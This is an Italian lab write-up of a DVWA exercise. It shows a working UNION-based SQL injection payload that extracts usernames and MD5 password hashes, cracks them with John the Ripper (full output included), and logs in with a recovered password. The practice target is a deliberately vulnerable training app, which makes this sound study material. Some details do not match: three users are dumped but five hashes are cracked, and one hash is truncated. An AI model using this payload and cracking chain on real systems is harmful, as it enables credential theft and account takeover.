

# Password cracking

Inserisco il comando: `%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #` permette di richiedere username e password dal DB

The screenshot shows the DVWA interface with the 'SQL Injection' tab selected. The 'User ID' field contains the payload: `%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #`. The output displays the extracted user information for three users: 'admin', 'Gordon Brown', and 'Hack Me'.

User ID	First name	Surname	User	Password
admin	admin	admin	admin	5f4dcc3b5aa765d61d8327deb882cf99
Gordon Brown	Gordon	Brown	Gordon	e99a18c428cb38d5f26883678922e03
Hack Me	Hack	Me	1337	8d3533d75ae2c3966d7e0d4fcc69216b

Le password sono cifrate, procedo con la decifrazione utilizzando John su Kali.  
Creo il file contenente le password grezze ed eseguo il comando:  
`John - - format=raw-md5 password (password è il nome del file)`

```
$ john --format=raw-md5 password
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (??)
password (??)
abc123 (??)
letmein (??)
Proceeding with incremental:ASCII
charley (??)
5g 0:00:00:00 DONE 3/3 (2023-11-02 09:58) 9.259g/s 330277p/s 330277c/s 333122C/s stevy
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali) - [~/Desktop]
$
```

Le password sono decifrate. Provo ad accedere con username “Pablo” e la rispettiva password “letmein”.

The screenshot shows the DVWA interface with the 'Welcome to Damn Vulnerable Web App!' message. The 'WARNING!' section states that the app is damn vulnerable and should not be used maliciously. The 'Disclaimer' section states that the app is for educational purposes only. The 'General Instructions' section states that the help button allows you to view hits/tips for each vulnerability and for each security level on their respective page. The 'You have logged in as' field shows 'pablo'.

Username: pablo  
Security Level: low  
PHPIDS: disabled

Come mostrato in figura, il Login è avvenuto con successo.

